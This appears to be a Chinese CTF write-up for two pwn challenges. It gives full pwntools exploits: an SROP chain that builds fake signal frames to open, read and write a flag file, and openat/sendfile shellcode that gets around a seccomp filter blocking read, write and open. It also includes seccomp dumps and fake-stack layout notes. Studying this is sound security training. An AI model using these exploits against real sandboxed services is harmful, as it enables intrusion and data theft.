haking

simple_srop

先找sigreturn

.text:000000000040128E                 public rt_sigreturn
.text:000000000040128E rt_sigreturn   proc near
.text:000000000040128E ; __unwind {
.text:000000000040128E                 endbr64
.text:0000000000401292                 push    rbp
.text:0000000000401293                 mov     rbp, rsp
.text:0000000000401296                 mov     rax, 0Fh
.text:000000000040129D                 syscall                 ; LINUX - sys_rt_sigreturn
.text:000000000040129F                 retn
.text:000000000040129F rt_sigreturn   endp ; sp-analysis failed

.text:0000000000401296作为sigreturn

000000000040129D 就是syscall

再记录一下main函数的地址 : 0x4012A3

然后就是考虑因为沙箱限制下想办法去获取flag的问题

先查保护

└─$ seccomp-tools dump ./vuln
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

这里的情况就是ban掉了execve

就是只能按o rw开

但是常规o rw打应该是打不穿的

寄存器的值都不好设定

所以srop+o rw的思路就很明确了

考虑到要构造挺长一段虚假的栈帧,所以去找程序最末尾栈地址然后看着随便往后一点写就好了

extern:00000000004040C8 end _start

所以设定FAKE_STACK_BASE = 0x404100

📍地址             | 内容                          | 说明
------------------|-------------------------------|-------------------------
0x404100         | 0x0000000000401296           | SIGRETURN_ADDR → open
0x404108         | SigreturnFrame(open)         | SYS_open, rdi = &"flag"
...               | (frame 占约 248 字节)       | rsp = 0x404200

0x404200         | 0x0000000000401296           | SIGRETURN_ADDR → read
0x404208         | SigreturnFrame(read)         | SYS_read, rdi = 3
...               | (frame 占约 248 字节)       | rsp = 0x404300

0x404300         | 0x0000000000401296           | SIGRETURN_ADDR → write
0x404308         | SigreturnFrame(write)         | SYS_write, rdi = 1
...               |                               | rsp = 0x404400

0x404400         | 0x00000000004012A3           | MAIN_ADDR(跳回主函数)

🔴0x404408 = FAKE_STACK_BASE + 0x308
                | b"flag\x00"                   | 文件名,提供给 open

每个 SigreturnFrame 是 0xf8 字节(248 字节),因此每一帧用 +0x100 间隔可以避免帧之间重叠

MAIN_ADDR 被放在 0x404400,紧接在第三个 frame 之后

FILENAME_OFFSET = 0x308

这个的原理也直接看上面给出的表图就好,为了避免破坏前面设定的SROP栈帧所以就往后一点写,写0x308是刚刚好,再往前走一点就出不了flag内容了,就算打穿了也只会输出flag字样

难点就是看栈帧逻辑去设定srop+o rw的这个链子

exp:

from pwn import *


context.arch = 'amd64'
context.log_level = 'info'


SYS_READ = constants.SYS_read
SYS_OPEN = constants.SYS_open
SYS_WRITE = constants.SYS_write


SIGRETURN_ADDR = 0x401296
SYSCALL_RET_ADDR = 0x40129D
MAIN_ADDR = 0x4012A3
FAKE_STACK_BASE = 0x404100
FILENAME_OFFSET = 0x308  # 文件名存储偏移量



def init_connection():
    # return process('./vuln')
    return remote('gz.imxbt.cn', 20242)


conn = init_connection()


# ======================
# 第一阶段:设置SROP读取第二阶段payload
# ======================
def build_stage1_payload():
    # 创建SROP帧
    frame = SigreturnFrame()
    frame.rax = SYS_READ  # 系统调用号:read
    frame.rdi = 0  # 文件描述符:stdin
    frame.rsi = FAKE_STACK_BASE  # 读取目标地址
    frame.rdx = 0x500  # 读取长度
    frame.rsp = FAKE_STACK_BASE  # 栈指针重置到目标地址
    frame.rip = SYSCALL_RET_ADDR

    # 构造payload
    payload = b'A' * 0x20  # 填充缓冲区
    payload += p64(0)  # 对齐值
    payload += p64(SIGRETURN_ADDR)  # 触发SROP
    payload += bytes(frame)  # SROP帧

    return payload


# 发送第一阶段payload
conn.send(build_stage1_payload())


# ======================
# 第二阶段:文件操作链
# ======================
def build_stage2_payload():
    payload = b''


    payload += p64(SIGRETURN_ADDR)

    open_frame = SigreturnFrame()
    open_frame.rax = SYS_OPEN
    open_frame.rdi = FAKE_STACK_BASE + FILENAME_OFFSET  # 文件名地址
    open_frame.rsi = 0  # 只读模式
    open_frame.rsp = FAKE_STACK_BASE + 0x100  # 设置新栈位置
    open_frame.rip = SYSCALL_RET_ADDR
    payload += bytes(open_frame)


    payload += p64(SIGRETURN_ADDR)

    read_frame = SigreturnFrame()
    read_frame.rax = SYS_READ
    read_frame.rdi = 3  # 文件描述符
    read_frame.rsi = FAKE_STACK_BASE + FILENAME_OFFSET  # 存储位置
    read_frame.rdx = 0x100  # 读取长度
    read_frame.rsp = FAKE_STACK_BASE + 0x200  # 设置新栈位置
    read_frame.rip = SYSCALL_RET_ADDR
    payload += bytes(read_frame)


    payload += p64(SIGRETURN_ADDR)

    write_frame = SigreturnFrame()
    write_frame.rax = SYS_WRITE
    write_frame.rdi = 1  # 文件描述符:stdout
    write_frame.rsi = FAKE_STACK_BASE + FILENAME_OFFSET  # 数据地址
    write_frame.rdx = 0x100  # 输出长度
    write_frame.rsp = FAKE_STACK_BASE + 0x300  # 设置新栈位置
    write_frame.rip = SYSCALL_RET_ADDR
    payload += bytes(write_frame)


    payload += p64(MAIN_ADDR)


    # 填充到文件名位置
    payload = payload.ljust(FILENAME_OFFSET, b'\x00')
    payload += b'flag\x00'  # 文件名

    return payload


# 发送第二阶段payload
conn.send(build_stage2_payload())


conn.interactive()

invisible_flag

看到有沙箱

查保护

└─$ seccomp-tools dump ./vuln
show your magic again
da
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

常规的玩o rw的方法都ban掉了

但是又出现了一些新的好用的办法来做

因为openat没被ban掉

所以就可以用其充当open功能

rw则可以依靠sendfile来替代

先给出exp:

from pwn import *

filename = './vuln'
context.arch='amd64'
context.log_level = 'debug'

sh = remote("gz.imxbt.cn",20245)

shellcode = asm(shellcraft.openat(0,'/flag',0))
shellcode += asm(shellcraft.sendfile(1,3,0,0x50))

sh.sendline(shellcode)

sh.interactive()
  • sendfile:直接在两个文件描述符之间传输数据(内核中操作,无需用户空间缓冲)
    • 参数 1:目标 fd(stdout,直接输出到终端)
    • 参数 3:源 fd(上一步打开的 /flag
    • 参数 0:从文件偏移量 0 开始读取
    • 参数 0x50:读取长度(80 字节,足够覆盖 flag)
  • sendfile 直接从源 fd 读取数据并写入目标 fd,相当于 read + write 的组合。
  • 整个过程在内核中完成,无需用户空间参与,避免了显式调用 read/write。、

再说为什么这样打,进main函数一看,先给了一段7权限的栈空间

int __fastcall main(int argc, const char **argv, const char **envp)
{
 void *addr; // [rsp+8h] [rbp-118h]

 init();
 addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
 if ( addr == (void *)-1LL )
{
   puts("ERROR");
   return 1;
}
 else
{
   puts("show your magic again");
   read(0, addr, 0x200uLL);
   sandbox();
  ((void (*)(void))addr)();
   return 0;
}
}

所以写上去就能执行我们的shellcode内容

所以就能直接拿到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇